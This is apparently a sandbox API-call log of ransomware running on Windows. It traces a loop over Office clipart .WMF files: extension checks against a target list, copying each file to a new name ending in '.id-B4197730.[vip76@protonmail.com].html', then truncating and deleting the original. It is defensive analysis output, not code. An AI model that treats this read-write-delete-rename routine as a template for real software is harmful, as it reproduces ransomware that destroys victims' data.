	[0176.771] lstrlenW (lpString=".rar") returned 4
	[0176.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.771] lstrlenW (lpString=".bz2") returned 4
	[0176.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.771] lstrlenW (lpString=".7z") returned 3
	[0176.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0176.771] lstrlenW (lpString=".dbf") returned 4
	[0176.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0176.771] lstrlenW (lpString=".1cd") returned 4
	[0176.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0176.771] lstrlenW (lpString=".jpg") returned 4
	[0176.771] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0176.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0176.771] lstrlenW (lpString=".doc") returned 4
	[0176.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.772] lstrlenW (lpString=".docx") returned 5
	[0176.772] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.772] lstrlenW (lpString=".pdf") returned 4
	[0176.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.772] lstrlenW (lpString=".xls") returned 4
	[0176.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.772] lstrlenW (lpString=".xlsx") returned 5
	[0176.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.772] lstrlenW (lpString=".ppt") returned 4
	[0176.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0176.772] lstrlenW (lpString=".zip") returned 4
	[0176.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.772] lstrlenW (lpString=".rar") returned 4
	[0176.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.772] lstrlenW (lpString=".bz2") returned 4
	[0176.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.772] lstrlenW (lpString=".7z") returned 3
	[0176.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0176.772] lstrlenW (lpString=".dbf") returned 4
	[0176.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0176.772] lstrlenW (lpString=".1cd") returned 4
	[0176.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0176.772] lstrlenW (lpString=".jpg") returned 4
	[0176.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.772] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0176.773] lstrlenW (lpString="HH01013_.WMF") returned 12
	[0176.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0176.774] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=2848) returned 1
	[0176.774] CloseHandle (hObject=0x574) returned 1
	[0176.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220
	[0176.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0176.774] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.774] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0176.775] GetLastError () returned 0x0
	[0176.775] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xb20, lpOverlapped=0x0) returned 1
	[0176.777] WriteFile (in: hFile=0x580, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xb30, lpOverlapped=0x0) returned 1
	[0176.778] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.778] WriteFile (in: hFile=0x580, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.778] SetEndOfFile (hFile=0x580) returned 1
	[0176.779] CloseHandle (hObject=0x580) returned 1
	[0176.779] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.779] SetEndOfFile (hFile=0x574) returned 1
	[0176.785] CloseHandle (hObject=0x574) returned 1
	[0176.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0176.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1
	[0176.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0176.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0176.786] lstrlenW (lpString=".doc") returned 4
	[0176.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.786] lstrlenW (lpString=".docx") returned 5
	[0176.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.786] lstrlenW (lpString=".pdf") returned 4
	[0176.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.787] lstrlenW (lpString=".xls") returned 4
	[0176.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.787] lstrlenW (lpString=".xlsx") returned 5
	[0176.787] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.787] lstrlenW (lpString=".ppt") returned 4
	[0176.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0176.787] lstrlenW (lpString=".zip") returned 4
	[0176.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.787] lstrlenW (lpString=".rar") returned 4
	[0176.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.787] lstrlenW (lpString=".bz2") returned 4
	[0176.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.787] lstrlenW (lpString=".7z") returned 3
	[0176.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0176.787] lstrlenW (lpString=".dbf") returned 4
	[0176.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0176.787] lstrlenW (lpString=".1cd") returned 4
	[0176.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0176.787] lstrlenW (lpString=".jpg") returned 4
	[0176.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0176.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0176.787] lstrlenW (lpString=".doc") returned 4
	[0176.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.787] lstrlenW (lpString=".docx") returned 5
	[0176.787] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.787] lstrlenW (lpString=".pdf") returned 4
	[0176.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.788] lstrlenW (lpString=".xls") returned 4
	[0176.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.788] lstrlenW (lpString=".xlsx") returned 5
	[0176.788] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.788] lstrlenW (lpString=".ppt") returned 4
	[0176.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0176.788] lstrlenW (lpString=".zip") returned 4
	[0176.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.788] lstrlenW (lpString=".rar") returned 4
	[0176.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.788] lstrlenW (lpString=".bz2") returned 4
	[0176.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.788] lstrlenW (lpString=".7z") returned 3
	[0176.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0176.788] lstrlenW (lpString=".dbf") returned 4
	[0176.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0176.788] lstrlenW (lpString=".1cd") returned 4
	[0176.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0176.788] lstrlenW (lpString=".jpg") returned 4
	[0176.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.788] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0176.788] lstrlenW (lpString="HH01015_.WMF") returned 12
	[0176.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0176.789] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1148) returned 1
	[0176.789] CloseHandle (hObject=0x574) returned 1
	[0176.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220
	[0176.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0176.790] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.790] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0176.790] GetLastError () returned 0x0
	[0176.790] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x47c, lpOverlapped=0x0) returned 1
	[0176.793] WriteFile (in: hFile=0x580, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x480, lpOverlapped=0x0) returned 1
	[0176.793] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.794] WriteFile (in: hFile=0x580, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.794] SetEndOfFile (hFile=0x580) returned 1
	[0176.794] CloseHandle (hObject=0x580) returned 1
	[0176.794] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.794] SetEndOfFile (hFile=0x574) returned 1
	[0176.797] CloseHandle (hObject=0x574) returned 1
	[0176.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0176.798] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1
	[0176.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0176.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0176.798] lstrlenW (lpString=".doc") returned 4
	[0176.798] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.799] lstrlenW (lpString=".docx") returned 5
	[0176.799] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.799] lstrlenW (lpString=".pdf") returned 4
	[0176.799] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.799] lstrlenW (lpString=".xls") returned 4
	[0176.799] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.799] lstrlenW (lpString=".xlsx") returned 5
	[0176.799] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.799] lstrlenW (lpString=".ppt") returned 4
	[0176.799] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0176.799] lstrlenW (lpString=".zip") returned 4
	[0176.799] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.799] lstrlenW (lpString=".rar") returned 4
	[0176.799] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.799] lstrlenW (lpString=".bz2") returned 4
	[0176.799] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.799] lstrlenW (lpString=".7z") returned 3
	[0176.799] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0176.799] lstrlenW (lpString=".dbf") returned 4
	[0176.799] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0176.799] lstrlenW (lpString=".1cd") returned 4
	[0176.799] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0176.799] lstrlenW (lpString=".jpg") returned 4
	[0176.799] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0176.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0176.799] lstrlenW (lpString=".doc") returned 4
	[0176.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.800] lstrlenW (lpString=".docx") returned 5
	[0176.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.800] lstrlenW (lpString=".pdf") returned 4
	[0176.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.800] lstrlenW (lpString=".xls") returned 4
	[0176.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.800] lstrlenW (lpString=".xlsx") returned 5
	[0176.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.800] lstrlenW (lpString=".ppt") returned 4
	[0176.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0176.800] lstrlenW (lpString=".zip") returned 4
	[0176.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.800] lstrlenW (lpString=".rar") returned 4
	[0176.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.800] lstrlenW (lpString=".bz2") returned 4
	[0176.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.800] lstrlenW (lpString=".7z") returned 3
	[0176.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0176.800] lstrlenW (lpString=".dbf") returned 4
	[0176.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0176.800] lstrlenW (lpString=".1cd") returned 4
	[0176.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0176.800] lstrlenW (lpString=".jpg") returned 4
	[0176.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.801] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0176.801] lstrlenW (lpString="HH01058_.WMF") returned 12
	[0176.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0176.889] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=2756) returned 1
	[0176.889] CloseHandle (hObject=0x538) returned 1
	[0176.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220
	[0177.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0177.624] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.624] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0178.276] GetLastError () returned 0x0
	[0178.276] ReadFile (in: hFile=0x5b0, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xac4, lpOverlapped=0x0) returned 1
	[0178.292] WriteFile (in: hFile=0x554, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xad0, lpOverlapped=0x0) returned 1
	[0178.293] ReadFile (in: hFile=0x5b0, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.293] WriteFile (in: hFile=0x554, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.293] SetEndOfFile (hFile=0x554) returned 1
	[0178.293] CloseHandle (hObject=0x554) returned 1
	[0178.294] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.294] SetEndOfFile (hFile=0x5b0) returned 1
	[0178.296] CloseHandle (hObject=0x5b0) returned 1
	[0178.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1
	[0178.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0178.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0178.297] lstrlenW (lpString=".doc") returned 4
	[0178.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.297] lstrlenW (lpString=".docx") returned 5
	[0178.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.297] lstrlenW (lpString=".pdf") returned 4
	[0178.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.297] lstrlenW (lpString=".xls") returned 4
	[0178.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.297] lstrlenW (lpString=".xlsx") returned 5
	[0178.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.297] lstrlenW (lpString=".ppt") returned 4
	[0178.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0178.298] lstrlenW (lpString=".zip") returned 4
	[0178.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.298] lstrlenW (lpString=".rar") returned 4
	[0178.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
